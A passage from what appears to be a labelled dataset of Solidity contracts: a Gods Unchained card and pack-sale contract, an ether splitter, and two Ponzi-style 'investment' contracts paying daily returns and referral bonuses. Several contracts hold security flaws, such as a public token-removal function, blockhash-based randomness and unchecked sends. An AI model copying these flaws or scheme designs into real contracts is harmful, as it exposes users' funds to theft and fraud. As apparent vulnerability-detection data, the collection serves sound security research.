_tokenId) public view returns (address _owner); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable; function transfer(address _to, uint256 _tokenId) public payable; function transferFrom(address _from, address _to, uint256 _tokenId) public payable; function approve(address _to, uint256 _tokenId) public payable; function setApprovalForAll(address _to, bool _approved) public; function getApproved(uint256 _tokenId) public view returns (address); function isApprovedForAll(address _owner, address _operator) public view returns (bool); } contract NFT is ERC721, ERC165, ERC721Metadata, ERC721Enumerable {} contract CardOwnership is NFT, CardProto { mapping(uint => address) owners; mapping(uint => address) approved; mapping(address => mapping(address => bool)) operators; mapping(address => uint40[]) public ownedTokens; mapping(uint => string) uris; uint24[] indices; uint public burnCount; function name() public view returns (string) { return "Gods Unchained"; } function symbol() public view returns (string) { return "GODS"; } function totalSupply() public view returns (uint) { return cards.length - burnCount; } function transfer(address to, uint id) public payable { require(owns(msg.sender, id)); require(isTradable(cards[id].proto)); require(to != address(0)); _transfer(msg.sender, to, id); } function _transfer(address from, address to, uint id) internal { approved[id] = address(0); owners[id] = to; _addToken(to, id); _removeToken(from, id); emit Transfer(from, to, id); } function _create(address to, uint id) internal { owners[id] = to; _addToken(to, id); emit Transfer(address(0), to, id); } function transferAll(address to, uint[] ids) public payable { for (uint i = 0; i < ids.length; i++) { transfer(to, ids[i]); } } function ownsAll(address proposed, uint[] ids) public view returns (bool) { for (uint i = 0; i < ids.length; i++) { if (!owns(proposed, ids[i])) { return false; } } return true; } function owns(address proposed, uint id) public view returns (bool) { return ownerOf(id) == proposed; } function ownerOf(uint id) public view returns (address) { return owners[id]; } function burn(uint id) public { require(owns(msg.sender, id)); burnCount++; _transfer(msg.sender, address(0), id); } function burnAll(uint[] ids) public { for (uint i = 0; i < ids.length; i++){ burn(ids[i]); } } function approve(address to, uint id) public payable { require(owns(msg.sender, id)); require(isTradable(cards[id].proto)); approved[id] = to; emit Approval(msg.sender, to, id); } function approveAll(address to, uint[] ids) public payable { for (uint i = 0; i < ids.length; i++) { approve(to, ids[i]); } } function getApproved(uint id) public view returns(address) { return approved[id]; } function balanceOf(address owner) public view returns (uint) { return ownedTokens[owner].length; } function exists(uint id) public view returns (bool) { return owners[id] != address(0); } function transferFrom(address from, address to, uint id) public payable { require(to != address(0)); require(to != address(this)); require(ownerOf(id) == from); require(isSenderApprovedFor(id)); require(isTradable(cards[id].proto)); _transfer(ownerOf(id), to, id); } function transferAllFrom(address to, uint[] ids) public payable { for (uint i = 0; i < ids.length; i++) { transferFrom(address(0), to, ids[i]); } } function getBurnCount() public view returns (uint) { return burnCount; } function isApprovedForAll(address owner, address operator) public view returns (bool) { return operators[owner][operator]; } function setApprovalForAll(address to, bool toApprove) public { require(to != msg.sender); operators[msg.sender][to] = toApprove; emit ApprovalForAll(msg.sender, to, toApprove); } bytes4 constant magic = bytes4(keccak256("onERC721Received(address,uint256,bytes)")); function safeTransferFrom(address from, address to, uint id, bytes data) public payable { require(to != address(0)); transferFrom(from, to, id); if (_isContract(to)) { bytes4 response = ERC721TokenReceiver(to).onERC721Received.gas(50000)(from, id, data); require(response == magic); } } function safeTransferFrom(address from, address to, uint id) public payable { safeTransferFrom(from, to, id, ""); } function _addToken(address to, uint id) private { uint pos = ownedTokens[to].push(uint40(id)) - 1; indices.push(uint24(pos)); } function _removeToken(address from, uint id) public payable { uint24 index = indices[id]; uint lastIndex = ownedTokens[from].length - 1; uint40 lastId = ownedTokens[from][lastIndex]; ownedTokens[from][index] = lastId; ownedTokens[from][lastIndex] = 0; ownedTokens[from].length--; } function isSenderApprovedFor(uint256 id) internal view returns (bool) { return owns(msg.sender, id) || getApproved(id) == msg.sender || isApprovedForAll(ownerOf(id), msg.sender); } function _isContract(address test) internal view returns (bool) { uint size; assembly { size := extcodesize(test) } return (size > 0); } function tokenURI(uint id) public view returns (string) { return uris[id]; } function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 _tokenId){ return ownedTokens[owner][index]; } function tokenByIndex(uint256 index) external view returns (uint256){ return index; } function supportsInterface(bytes4 interfaceID) public view returns (bool) { return ( interfaceID == this.supportsInterface.selector || interfaceID == 0x5b5e139f || interfaceID == 0x6466353c || interfaceID == 0x780e9d63 ); } function implementsERC721() external pure returns (bool) { return true; } function getOwnedTokens(address user) public view returns (uint40[]) { return ownedTokens[user]; } } interface ERC721TokenReceiver { function onERC721Received(address _from, uint256 _tokenId, bytes _data) external returns(bytes4); } contract CardIntegration is CardOwnership { CardPackTwo[] packs; event CardCreated(uint indexed id, uint16 proto, uint16 purity, address owner); function addPack(CardPackTwo approved) public onlyGovernor { packs.push(approved); } modifier onlyApprovedPacks { require(_isApprovedPack()); _; } function _isApprovedPack() private view returns (bool) { for (uint i = 0; i < packs.length; i++) { if (msg.sender == address(packs[i])) { return true; } } return false; } function createCard(address owner, uint16 proto, uint16 purity) public whenNotPaused onlyApprovedPacks returns (uint) { ProtoCard memory card = protos[proto]; require(card.season == currentSeason); if (card.rarity == Rarity.Mythic) { uint64 limit; bool exists; (limit, exists) = getLimit(proto); require(!exists || limit > 0); limits[proto].limit--; } return _createCard(owner, proto, purity); } function _createCard(address owner, uint16 proto, uint16 purity) internal returns (uint) { Card memory card = Card({ proto: proto, purity: purity }); uint id = cards.push(card) - 1; _create(owner, id); emit CardCreated(id, proto, purity, owner); return id; } } contract CardPackTwo { CardIntegration public integration; uint public creationBlock; constructor(CardIntegration _integration) public payable { integration = _integration; creationBlock = 5939061; } event Referral(address indexed referrer, uint value, address purchaser); function purchase(uint16 packCount, address referrer) public payable; function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) { if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 988) { return 2000 + randTwo; } else if (randOne >= 938) { return 1000 + randTwo; } else { return randTwo; } } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Vault is Ownable { function () public payable { } function getBalance() public view returns (uint) { return address(this).balance; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); } function withdrawAll() public onlyOwner { withdraw(address(this).balance); } } contract CappedVault is Vault { uint public limit; uint withdrawn = 0; constructor() public { limit = 33333 ether; } function () public payable { require(total() + msg.value <= limit); } function total() public view returns(uint) { return getBalance() + withdrawn; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); withdrawn += amount; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PresalePackTwo is CardPackTwo, Pausable { CappedVault public vault; Purchase[] purchases; struct Purchase { uint16 current; uint16 count; address user; uint randomness; uint64 commit; } event PacksPurchased(uint indexed id, address indexed user, uint16 count); event PackOpened(uint indexed id, uint16 startIndex, address indexed user, uint[] cardIDs); event RandomnessReceived(uint indexed id, address indexed user, uint16 count, uint randomness); constructor(CardIntegration integration, CappedVault _vault) public payable CardPackTwo(integration) { vault = _vault; } function basePrice() public returns (uint); function getCardDetails(uint16 packIndex, uint8 cardIndex, uint result) public view returns (uint16 proto, uint16 purity); function packSize() public view returns (uint8) { return 5; } function packsPerClaim() public view returns (uint16) { return 15; } function extract(uint num, uint length, uint start) internal pure returns (uint) { return (((1 << (length * 8)) - 1) & (num >> ((start * 8) - 1))); } function purchase(uint16 packCount, address referrer) whenNotPaused public payable { require(packCount > 0); require(referrer != msg.sender); uint price = calculatePrice(basePrice(), packCount); require(msg.value >= price); Purchase memory p = Purchase({ user: msg.sender, count: packCount, commit: uint64(block.number), randomness: 0, current: 0 }); uint id = purchases.push(p) - 1; emit PacksPurchased(id, msg.sender, packCount); if (referrer != address(0)) { uint commission = price / 10; referrer.transfer(commission); price -= commission; emit Referral(referrer, commission, msg.sender); } address(vault).transfer(price); } function callback(uint id) public { Purchase storage p = purchases[id]; require(p.randomness == 0); bytes32 bhash = blockhash(p.commit); uint random = uint(keccak256(abi.encodePacked(bhash, p.user, address(this), p.count))); require(uint64(block.number) != p.commit); if (uint(bhash) == 0) { p.randomness = 1; } else { p.randomness = random; } emit RandomnessReceived(id, p.user, p.count, p.randomness); } function claim(uint id) public { Purchase storage p = purchases[id]; require(canClaim); uint16 proto; uint16 purity; uint16 count = p.count; uint result = p.randomness; uint8 size = packSize(); address user = p.user; uint16 current = p.current; require(result != 0); require(count > 0); uint[] memory ids = new uint[](size); uint16 end = current + packsPerClaim() > count ? count : current + packsPerClaim(); require(end > current); for (uint16 i = current; i < end; i++) { for (uint8 j = 0; j < size; j++) { (proto, purity) = getCardDetails(i, j, result); ids[j] = integration.createCard(user, proto, purity); } emit PackOpened(id, (i * size), user, ids); } p.current += (end - current); } function predictPacks(uint id) external view returns (uint16[] protos, uint16[] purities) { Purchase memory p = purchases[id]; uint16 proto; uint16 purity; uint16 count = p.count; uint result = p.randomness; uint8 size = packSize(); purities = new uint16[](size * count); protos = new uint16[](size * count); for (uint16 i = 0; i < count; i++) { for (uint8 j = 0; j < size; j++) { (proto, purity) = getCardDetails(i, j, result); purities[(i * size) + j] = purity; protos[(i * size) + j] = proto; } } return (protos, purities); } function calculatePrice(uint base, uint16 packCount) public view returns (uint) { uint difference = block.number - creationBlock; uint numDays = difference / 6000; if (20 > numDays) { return (base - (((20 - numDays) * base) / 100)) * packCount; } return base * packCount; } function _getCommonPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 998345) { return CardProto.Rarity.Legendary; } else if (rand >= 986765) { return CardProto.Rarity.Epic; } else if (rand >= 924890) { return CardProto.Rarity.Rare; } else { return CardProto.Rarity.Common; } } function _getRarePlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 981615) { return CardProto.Rarity.Legendary; } else if (rand >= 852940) { return CardProto.Rarity.Epic; } else { return CardProto.Rarity.Rare; } } function _getEpicPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 981615) { return CardProto.Rarity.Legendary; } else { return CardProto.Rarity.Epic; } } function _getLegendaryPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else { return CardProto.Rarity.Legendary; } } bool public canClaim = true; function setCanClaim(bool claim) public onlyOwner { canClaim = claim; } function getComponents( uint16 i, uint8 j, uint rand ) internal returns ( uint random, uint32 rarityRandom, uint16 purityOne, uint16 purityTwo, uint16 protoRandom ) { random = uint(keccak256(abi.encodePacked(i, rand, j))); rarityRandom = uint32(extract(random, 4, 10) % 1000000); purityOne = uint16(extract(random, 2, 4) % 1000); purityTwo = uint16(extract(random, 2, 6) % 1000); protoRandom = uint16(extract(random, 2, 8) % (2**16-1)); return (random, rarityRandom, purityOne, purityTwo, protoRandom); } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } } contract ERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); } pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TournamentPass is ERC20, Ownable { using SafeMath for uint256; Vault vault; constructor(Vault _vault) public { vault = _vault; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; address[] public minters; uint256 supply; uint mintLimit = 20000; function name() public view returns (string){ return "GU Tournament Passes"; } function symbol() public view returns (string) { return "PASS"; } function addMinter(address minter) public onlyOwner { minters.push(minter); } function totalSupply() public view returns (uint256) { return supply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function isMinter(address test) internal view returns (bool) { for (uint i = 0; i < minters.length; i++) { if (minters[i] == test) { return true; } } return false; } function mint(address to, uint amount) public returns (bool) { require(isMinter(msg.sender)); if (amount.add(supply) > mintLimit) { return false; } supply = supply.add(amount); balances[to] = balances[to].add(amount); emit Transfer(address(0), to, amount); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval(address spender, uint256 addedValue) public returns (bool) { allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseApproval(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][spender]; if (subtractedValue > oldValue) { allowed[msg.sender][spender] = 0; } else { allowed[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } uint public price = 250 finney; function purchase(uint amount) public payable { require(msg.value >= price.mul(amount)); require(supply.add(amount) <= mintLimit); supply = supply.add(amount); balances[msg.sender] = balances[msg.sender].add(amount); emit Transfer(address(0), msg.sender, amount); address(vault).transfer(msg.value); } } contract ShinyLegendaryPackTwo is PresalePackTwo { TournamentPass pass; constructor(CardIntegration integration, CappedVault _vault, TournamentPass _pass) public payable PresalePackTwo(integration, _vault) { pass = _pass; } function purchase(uint16 packCount, address referrer) public payable { super.purchase(packCount, referrer); pass.mint(msg.sender, packCount); } function basePrice() public returns (uint) { return 4 ether; } function getCardDetails(uint16 packIndex, uint8 cardIndex, uint result) public view returns (uint16 proto, uint16 purity) { uint random; uint32 rarityRandom; uint16 protoRandom; uint16 purityOne; uint16 purityTwo; CardProto.Rarity rarity; (random, rarityRandom, purityOne, purityTwo, protoRandom) = getComponents(packIndex, cardIndex, result); if (cardIndex == 4) { rarity = _getLegendaryPlusRarity(rarityRandom); purity = _getShinyPurity(purityOne, purityTwo); } else if (cardIndex == 3) { rarity = _getRarePlusRarity(rarityRandom); purity = _getPurity(purityOne, purityTwo); } else { rarity = _getCommonPlusRarity(rarityRandom); purity = _getPurity(purityOne, purityTwo); } proto = integration.getRandomCard(rarity, protoRandom); return (proto, purity); } function _getShinyPurity(uint16 randOne, uint16 randTwo) public pure returns (uint16) { if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 748) { return 2000 + randTwo; } else { return 1000 + randTwo; } } }
1
4,106
pragma solidity ^0.4.17; contract EthealSplit { function split(address[] _to) public payable { uint256 _val = msg.value / _to.length; for (uint256 i=0; i < _to.length; i++) { _to[i].send(_val); } if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }
0
2,116
pragma solidity ^0.4.25; contract Ownable { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Can used only by owner"); _; } function changeOwner(address _owner) onlyOwner public { require(_owner != 0, "Please provide new owner address"); newOwner = _owner; } function confirmOwner() public { require(newOwner == msg.sender, "Please call from new owner"); owner = newOwner; delete newOwner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract KassaNetwork is Ownable { using SafeMath for uint; string public constant name = 'Kassa 100/40'; uint public startTimestamp = now; uint public constant procKoef = 10000; uint public constant perDay = 140; uint public constant ownerFee = 700; uint[3] public bonusReferrer = [600, 200, 100]; uint public constant procReturn = 9000; uint public constant maxDepositDays = 100; uint public constant minimalDeposit = 0.25 ether; uint public constant maximalDepositStart = 15 ether; uint public constant minimalDepositForBonusReferrer = 0.015 ether; uint public constant dayLimitStart = 50 ether; uint public constant progressProcKoef = 100; uint public constant dayLimitProgressProc = 3; uint public constant maxDepositProgressProc = 2; uint public countInvestors = 0; uint public totalInvest = 0; uint public totalPenalty = 0; uint public totalSelfInvest = 0; uint public totalPaid = 0; event LogInvestment(address _addr, uint _value, bytes _refData); event LogTransfer(address _addr, uint _amount, uint _contactBalance); event LogSelfInvestment(uint _value); event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount); event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres); event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount); event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals); event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty); event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty); event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit); event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay); event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer); struct User { uint balance; uint paidInteres; uint timestamp; uint countReferrals; uint earnOnReferrals; uint paidReferrals; address referrer; } mapping (address => User) private user; mapping (uint => uint) private usedDeposit; function getInteres(address addr) private view returns(uint interes) { uint diffDays = getNDay(user[addr].timestamp); if( diffDays > maxDepositDays ) diffDays = maxDepositDays; interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef); } function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint earnOnReferrals, uint paidReferrals, address referrer) { address a = addr; return ( user[a].balance, user[a].timestamp, user[a].paidInteres, getInteres(a), user[a].countReferrals, user[a].earnOnReferrals, user[a].paidReferrals, user[a].referrer ); } function getCurrentDay() public view returns(uint nday) { nday = getNDay(startTimestamp); } function getNDay(uint date) public view returns(uint nday) { uint diffTime = date > 0 ? now.sub(date) : 0; nday = diffTime.div(24 hours); } function getCurrentDayDepositLimit() public view returns(uint limit) { uint nDay = getCurrentDay(); limit = getDayDepositLimit(nDay); } function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res) { uint s = start; for (uint i = 0; i < nDay; i++) { s = s.mul(progressProcKoef + proc).div(progressProcKoef); } return s; } function getDayDepositLimit(uint nDay) public pure returns(uint limit) { return calcProgress(dayLimitStart, dayLimitProgressProc, nDay ); } function getMaximalDeposit(uint nDay) public pure returns(uint limit) { return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay ); } function getCurrentDayRestDepositLimit() public view returns(uint restLimit) { uint nDay = getCurrentDay(); restLimit = getDayRestDepositLimit(nDay); } function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit) { restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]); } function getCurrentMaximalDeposit() public view returns(uint maximalDeposit) { uint nDay = getCurrentDay(); maximalDeposit = getMaximalDeposit(nDay); } function() external payable { emit LogInvestment(msg.sender, msg.value, msg.data); processPayment(msg.value, msg.data); } function processPayment(uint moneyValue, bytes refData) private { if (msg.sender == owner) { totalSelfInvest = totalSelfInvest.add(moneyValue); emit LogSelfInvestment(moneyValue); return; } if (moneyValue == 0) { preparePayment(); return; } if (moneyValue < minimalDeposit) { totalPenalty = totalPenalty.add(moneyValue); emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty); return; } address referrer = bytesToAddress(refData); if (user[msg.sender].balance > 0 || refData.length != 20 || moneyValue > getCurrentMaximalDeposit() || referrer != owner && ( user[referrer].balance <= 0 || referrer == msg.sender) ) { uint amount = moneyValue.mul(procReturn).div(procKoef); totalPenalty = totalPenalty.add(moneyValue.sub(amount)); emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty); msg.sender.transfer(amount); return; } uint nDay = getCurrentDay(); uint restDepositPerDay = getDayRestDepositLimit(nDay); uint addDeposit = moneyValue; if (moneyValue > restDepositPerDay) { uint returnDeposit = moneyValue.sub(restDepositPerDay); uint returnAmount = returnDeposit.mul(procReturn).div(procKoef); addDeposit = addDeposit.sub(returnDeposit); totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount)); emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit); msg.sender.transfer(returnAmount); } usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit); emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]); registerInvestor(referrer); sendOwnerFee(addDeposit); calcBonusReferrers(referrer, addDeposit); updateInvestBalance(addDeposit); } function registerInvestor(address referrer) private { user[msg.sender].timestamp = now; countInvestors++; user[msg.sender].referrer = referrer; user[referrer].countReferrals++; } function sendOwnerFee(uint addDeposit) private { transfer(owner, addDeposit.mul(ownerFee).div(procKoef)); } function calcBonusReferrers(address referrer, uint addDeposit) private { for (uint i = 0; i < bonusReferrer.length && referrer != 0; i++) { uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef); address nextReferrer = user[referrer].referrer; emit LogCalcBonusReferrer(referrer, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer); preparePaymentReferrer(referrer, amountReferrer); referrer = nextReferrer; } } function preparePaymentReferrer(address referrer, uint amountReferrer) private { user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer); uint totalReferrals = user[referrer].earnOnReferrals; uint paidReferrals = user[referrer].paidReferrals; if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer)) { uint amount = totalReferrals.sub(paidReferrals); user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount); emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount); transfer(referrer, amount); } else { emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals); } } function preparePayment() public { uint totalInteres = getInteres(msg.sender); uint paidInteres = user[msg.sender].paidInteres; if (totalInteres > paidInteres) { uint amount = totalInteres.sub(paidInteres); emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount); user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount); transfer(msg.sender, amount); } else { emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres); } } function updateInvestBalance(uint addDeposit) private { user[msg.sender].balance = user[msg.sender].balance.add(addDeposit); totalInvest = totalInvest.add(addDeposit); } function transfer(address receiver, uint amount) private { if (amount > 0) { if (receiver != owner) { totalPaid = totalPaid.add(amount); } uint balance = address(this).balance; emit LogTransfer(receiver, amount, balance); require(amount < balance, "Not enough balance. Please retry later."); receiver.transfer(amount); } } function bytesToAddress(bytes source) private pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function getTotals() public view returns(uint _maxDepositDays, uint _perDay, uint _startTimestamp, uint _minimalDeposit, uint _maximalDeposit, uint[3] _bonusReferrer, uint _minimalDepositForBonusReferrer, uint _ownerFee, uint _countInvestors, uint _totalInvest, uint _totalPenalty, uint _totalPaid, uint _currentDayDepositLimit, uint _currentDayRestDepositLimit) { return ( maxDepositDays, perDay, startTimestamp, minimalDeposit, getCurrentMaximalDeposit(), bonusReferrer, minimalDepositForBonusReferrer, ownerFee, countInvestors, totalInvest, totalPenalty, totalPaid, getCurrentDayDepositLimit(), getCurrentDayRestDepositLimit() ); } }
0
1,834
pragma solidity 0.4.25; contract EthRV2 { using SafeMath for uint; struct Investor { uint deposit; uint paymentTime; uint withdrawal; uint boostStartup; bool isParticipant; } mapping (address => Investor) public investors; address public admin1Address; address public admin2Address; address public admin3Address; address public owner; uint public investmentsNumber; uint public investorsNumber; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } event OnRefLink(address indexed referral, uint referrarBonus, address indexed referrer, uint referrerBonus, uint time); event OnNewInvestor(address indexed addr, uint time); event OnInvesment(address indexed addr, uint deposit, uint time); event OnBoostChanged(address indexed addr, bool isActive, uint time); event OnEarlyWithdrawal(address indexed addr, uint withdrawal, uint time); event OnDeleteInvestor(address indexed addr, uint time); event OnWithdraw(address indexed addr, uint withdrawal, uint time); event OnBoostBonus(address indexed addr, uint bonus, uint time); event OnNotEnoughBalance(uint time); constructor() public { owner = msg.sender; admin1Address = msg.sender; admin2Address = msg.sender; admin3Address = msg.sender; } function() external payable { if (msg.value == 0) { withdraw(); } else if (msg.value == 0.0077777 ether) { boost(); } else if (msg.value == 0.0088888 ether) { earlyWithdrawal(); } else { deposit(bytes2address(msg.data)); } } function disown() public onlyOwner { owner = address(0x0); } function setAdminsAddress(uint n, address addr) public onlyOwner { require(n >= 1 && n <= 3, "invalid number of admin`s address"); if (n == 1) { admin1Address = addr; } else if (n == 2) { admin2Address = addr; } else { admin3Address = addr; } } function investorDividends(address investorAddr) public view returns(uint dividends, uint boostBonus) { return getDividends(investorAddr); } function withdraw() public { address investorAddr = msg.sender; (uint dividends, uint boostBonus) = getDividends(investorAddr); require(dividends > 0, "cannot to pay zero dividends"); require(address(this).balance > 0, "fund is empty"); uint withdrawal = dividends + boostBonus; if (address(this).balance <= withdrawal) { emit OnNotEnoughBalance(now); withdrawal = address(this).balance; } Investor storage investor = investors[investorAddr]; uint withdrawalLimit = investor.deposit * 200 / 100; uint totalWithdrawal = withdrawal + investor.withdrawal; if (totalWithdrawal >= withdrawalLimit) { withdrawal = withdrawalLimit.sub(investor.withdrawal); if (boostBonus > 0 ) { emit OnBoostBonus(investorAddr, boostBonus, now); } deleteInvestor(investorAddr); } else { if (withdrawal > dividends) { withdrawal = dividends; } investor.withdrawal += withdrawal; investor.paymentTime = now; if (investor.boostStartup > 0) { investor.boostStartup = 0; emit OnBoostChanged(investorAddr, false, now); } } investorAddr.transfer(withdrawal); emit OnWithdraw(investorAddr, withdrawal, now); } function earlyWithdrawal() public { address investorAddr = msg.sender; Investor storage investor = investors[investorAddr]; require(investor.deposit > 0, "sender must be an investor"); uint earlyWithdrawalLimit = investor.deposit * 70 / 100; require(earlyWithdrawalLimit > investor.withdrawal, "early withdraw only before 70% deposit`s withdrawal"); uint withdrawal = earlyWithdrawalLimit.sub(investor.withdrawal); investorAddr.transfer(withdrawal); emit OnEarlyWithdrawal(investorAddr, withdrawal, now); deleteInvestor(investorAddr); } function boost() public { Investor storage investor = investors[msg.sender]; require(investor.deposit > 0, "sender must be an investor"); require(investor.boostStartup == 0, "boost is already activated"); investor.boostStartup = now; emit OnBoostChanged(msg.sender, true, now); } function deposit(address referrerAddr) public payable { uint depositAmount = msg.value; address investorAddr = msg.sender; require(isNotContract(investorAddr), "invest from contracts is not supported"); require(depositAmount > 0, "deposit amount cannot be zero"); admin1Address.send(depositAmount * 70 / 1000); admin2Address.send(depositAmount * 15 / 1000); admin3Address.send(depositAmount * 15 / 1000); Investor storage investor = investors[investorAddr]; bool senderIsNotPaticipant = !investor.isParticipant; bool referrerIsParticipant = investors[referrerAddr].isParticipant; if (senderIsNotPaticipant && referrerIsParticipant && referrerAddr != investorAddr) { uint referrerBonus = depositAmount * 3 / 100; uint referralBonus = depositAmount * 1 / 100; referrerAddr.transfer(referrerBonus); investorAddr.transfer(referralBonus); emit OnRefLink(investorAddr, referralBonus, referrerAddr, referrerBonus, now); } if (investor.deposit == 0) { investorsNumber++; investor.isParticipant = true; emit OnNewInvestor(investorAddr, now); } investor.deposit += depositAmount; investor.paymentTime = now; investmentsNumber++; emit OnInvesment(investorAddr, depositAmount, now); } function getDividends(address investorAddr) internal view returns(uint dividends, uint boostBonus) { Investor storage investor = investors[investorAddr]; if (investor.deposit == 0) { return (0, 0); } if (investor.boostStartup > 0) { uint boostDays = now.sub(investor.boostStartup).div(24 hours); boostBonus = boostDays * investor.deposit * 5 / 100000; } uint depositDays = now.sub(investor.paymentTime).div(24 hours); dividends = depositDays * investor.deposit * 1 / 100; uint depositAmountBonus; if (10 ether <= investor.deposit && investor.deposit <= 50 ether) { depositAmountBonus = depositDays * investor.deposit * 5 / 10000; } else if (50 ether < investor.deposit) { depositAmountBonus = depositDays * investor.deposit * 11 / 10000; } dividends += depositAmountBonus; } function isNotContract(address addr) internal view returns (bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } function bytes2address(bytes memory source) internal pure returns(address addr) { assembly { addr := mload(add(source, 0x14)) } return addr; } function deleteInvestor(address investorAddr) private { delete investors[investorAddr].deposit; delete investors[investorAddr].paymentTime; delete 